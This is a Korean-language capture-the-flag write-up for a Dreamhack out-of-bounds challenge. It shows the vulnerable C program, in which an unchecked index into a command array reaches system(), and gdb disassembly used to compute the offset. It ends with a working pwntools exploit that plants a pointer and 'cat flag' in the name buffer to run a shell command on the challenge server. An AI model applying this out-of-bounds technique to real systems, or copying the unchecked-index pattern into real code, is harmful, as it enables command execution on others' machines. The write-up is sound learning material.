

Admin name이 출력되서 아무거나 입력했는데 저러고 멈춰있다..
[제공된 c파일 확인]
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char name[16];
char *command[10] = { "cat",
"ls",
"id",
"ps",
"file ./oob" };
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main()
{
int idx;
initialize();
printf("Admin name: ");
read(0, name, sizeof(name));
printf("What do you want?: ");
scanf("%d", &idx);
system(command[idx]);
return 0;
}
stevbuf(stdin, NULL, IONBF, 0);
-> stdin파일을 함수 내부에서 필요한 만큼 크기를 할당하여 사용
#include <signal.h>
void ( signal (int sig, void(func)(int)) )(int);
-> 인터럽트 신호 처리 함수. 호출에 성공한 경우, signal()에 대한 호출은 함수의 최근 값을 리턴하고, 에러가 있을 경우 호출에서의 오류를 표시함
__IONBF : 사용된 버퍼가 없음
name을 입력받고 system함수로 command[idx]를 실행
name에 지정되어있는 크기이 16만큼 입력받아서 name에 저장하고, 입력받은 정수를 인덱스로 가지면서 command를 실행한다.




[디컴파일]

조건에 따라 __stack_chk_fail 함수 출력 여부가 결정된다.
아이다로는 더 이상 분석할 수 없을 것 같으니 gdb를 이용해서 시도해보겠다.
0x080486cb <+0>: lea ecx,[esp+0x4]
0x080486cf <+4>: and esp,0xfffffff0
0x080486d2 <+7>: push DWORD PTR [ecx-0x4]
0x080486d5 <+10>: push ebp
0x080486d6 <+11>: mov ebp,esp
0x080486d8 <+13>: push ecx
0x080486d9 <+14>: sub esp,0x14
0x080486dc <+17>: mov eax,gs:0x14
0x080486e2 <+23>: mov DWORD PTR [ebp-0xc],eax
0x080486e5 <+26>: xor eax,eax
0x080486e7 <+28>: call 0x804867b <initialize>
0x080486ec <+33>: sub esp,0xc
0x080486ef <+36>: push 0x8048811
0x080486f4 <+41>: call 0x80484b0 <printf@plt>
0x080486f9 <+46>: add esp,0x10
0x080486fc <+49>: sub esp,0x4
0x080486ff <+52>: push 0x10
0x08048701 <+54>: push 0x804a0ac
0x08048706 <+59>: push 0x0
0x08048708 <+61>: call 0x80484a0 <read@plt>
0x0804870d <+66>: add esp,0x10
0x08048710 <+69>: sub esp,0xc
0x08048713 <+72>: push 0x804881e
0x08048718 <+77>: call 0x80484b0 <printf@plt>
0x0804871d <+82>: add esp,0x10
0x08048720 <+85>: sub esp,0x8
0x08048723 <+88>: lea eax,[ebp-0x10]
0x08048726 <+91>: push eax
0x08048727 <+92>: push 0x8048832
0x0804872c <+97>: call 0x8048540 <__isoc99_scanf@plt>
0x08048731 <+102>: add esp,0x10
0x08048734 <+105>: mov eax,DWORD PTR [ebp-0x10]
0x08048737 <+108>: mov eax,DWORD PTR [eax*4+0x804a060]
0x0804873e <+115>: sub esp,0xc
0x08048741 <+118>: push eax
0x08048742 <+119>: call 0x8048500 <system@plt>
0x08048747 <+124>: add esp,0x10
0x0804874a <+127>: mov eax,0x0
0x0804874f <+132>: mov edx,DWORD PTR [ebp-0xc]
0x08048752 <+135>: xor edx,DWORD PTR gs:0x14
0x08048759 <+142>: je 0x8048760 <main+149>
0x0804875b <+144>: call 0x80484e0 <__stack_chk_fail@plt>
0x08048760 <+149>: mov ecx,DWORD PTR [ebp-0x4]
0x08048763 <+152>: leave
0x08048764 <+153>: lea esp,[ecx-0x4]
0x08048767 <+156>: ret
여기서 우리가 중점적으로 봐야할 부분은 입력으로 받는 변수 name과 command이다.
각 변수들의 주소를 알아내보자.

name : 0x0804a0ac
command : 0x0804a060
두 변수간의 거리를 계산해보면,76(0x0804a0ac - 0x0804a060)이다.
이 파일은 32bit아키텍쳐이므로 기본 디폴트 크기는 4byte이다. 때문에 두 변수간의 오프셋 값인 76에서 4를 나눠준 '19', 즉 command[19]에 name에 저장된 문자열을 넣어주면 될 것이라는 예상을 해본다.

..? 해결이 되지 않았다.. 구글링의 힘을 빌려보자.
[원인]
코드에서 사용된 system 함수는 공유 라이브러리 함수로, 'const char *' 라는 인수가 필요하기 때문에 "변수주소(4byte)+인수"로 구성되어있다고 한다.
때문에 sysem('cat flag') 라는 명령어를 실행하기 되면 메모리상에서는 변수주소(4byte) + cat flag가 들어가게 되기 때문에 name+4값, 실행하고자하는 명령어(cat flag) 이렇게 들어가야한다.
[완성된 exploit 코드]
from pwn import *
p = remote("host3.dreamhack.games", 17135)
command = p32(0x0804a0ac+4) + b"cat flag"
p.sendlineafter("Admin name: ", command)
p.sendlineafter("What do you want?: ", str(19))
p.interactive()

드디어 플래그값이 나왔다..!
[Reference]
https://www.ibm.com/docs/ko/i/7.3?topic=functions-signal-handle-interrupt-signals
https://haena02.tistory.com/99